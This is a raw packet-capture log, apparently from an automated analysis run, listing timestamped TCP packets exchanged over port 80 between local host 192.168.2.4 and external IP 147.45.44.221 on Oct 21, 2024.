Oct 21, 2024 08:47:19.968265057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968281031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968286037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968312025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968322039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968346119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968349934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968390942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968569040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968620062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968633890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968667030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968681097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968698025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968713999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968730927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968748093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.968780994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.969372988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.969403028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.969419003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.969449997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.094997883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095035076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095127106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095159054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095159054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095160007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095174074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095194101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095207930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095227957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095243931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095276117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095657110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095705986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095711946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095752954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095927000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095959902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.095977068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.095993996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096005917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096025944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096038103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096067905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096514940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096563101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096565962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096596003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096610069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096627951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096642971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096668959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.096673012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.096718073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.097368956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.097403049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.097424984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.097434998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.097439051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.097479105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.214884043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.214982033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.215014935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.215046883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.215070963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.215070963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.215070963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.215087891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.215099096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.215131998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.215152979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.215167999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.215181112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.215214014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222656012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222707987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222711086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222742081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222757101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222773075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222788095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222805977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222822905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222837925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222857952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222871065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.222881079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.222918034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.223309040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.223340988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.223360062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.223373890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.223387957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.223418951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.223423004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.223452091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.223464966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.223499060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.333882093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.333955050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.333971977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334003925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334017992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.334038019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334044933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.334073067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334075928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.334100962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334116936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.334141016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.334222078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334249020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.334275007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.334292889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.341768980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.341821909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.341886044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.341917992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.341932058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.341959953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.341969967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342031002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342031956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342071056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342093945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342124939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342140913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342156887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342165947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342195988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342341900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342389107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342422962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342454910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342475891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342489004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342497110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342529058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.342530012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.342570066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453454971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453514099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453541040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453557014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453568935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453602076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453618050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453634977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453653097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453669071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453691006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453705072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.453721046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.453787088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461086988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461155891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461188078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461188078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461215019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461221933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461225033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461256027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461294889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461294889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461366892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461396933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461420059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461435080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461541891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461569071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461599112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461606026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461674929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461702108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461726904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461781979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461841106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461873055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461905956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461914062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461914062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461939096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.461950064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.461986065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.462311029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.462337971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.462374926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.462376118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.572747946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.572802067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.572856903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.572889090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.572899103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.572926998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.572971106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.573004007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.573030949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.573055983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.573106050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580475092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580566883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580596924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580621958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580629110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580662012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580682993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580821991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580863953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580863953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580872059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580905914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580926895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580936909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.580957890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.580970049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581005096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581005096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581465006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581497908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581531048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581537962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581537962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581582069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581718922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581770897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581785917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581801891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581841946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581841946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.581850052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.581897974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.692172050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.692224979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.692228079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.692260027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.692291021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.692301989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.692301989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.692325115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.692353010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.692357063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.692370892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.692406893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700009108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700063944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700133085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700161934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700193882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700196981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700196981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700242996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700252056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700278997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700292110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700325012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700342894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700356960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700371027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700391054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700401068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700452089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700915098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700953007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.700967073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.700998068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701011896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701041937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701113939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701145887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701165915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701176882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701200962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701235056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701461077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701507092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701509953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701543093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701572895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701574087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701606035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.701611042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701611042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.701648951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.811616898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.811656952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.811698914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.811698914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.811712980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.811747074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.811762094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.811778069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.811783075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.811831951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.811870098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.811870098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819611073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819673061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819680929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819725990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819731951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819765091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819806099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819806099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819833994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819866896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819895983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819916010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819919109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.819967985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.819968939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820003033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820029020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820034981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820067883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820069075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820069075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820100069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820107937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820133924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820159912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820182085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820785999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820818901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820838928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820874929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820875883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820909977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820919991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820955992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:20.820961952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:20.820993900 CEST	80	49732	147.45.44.221	192.168.2.4
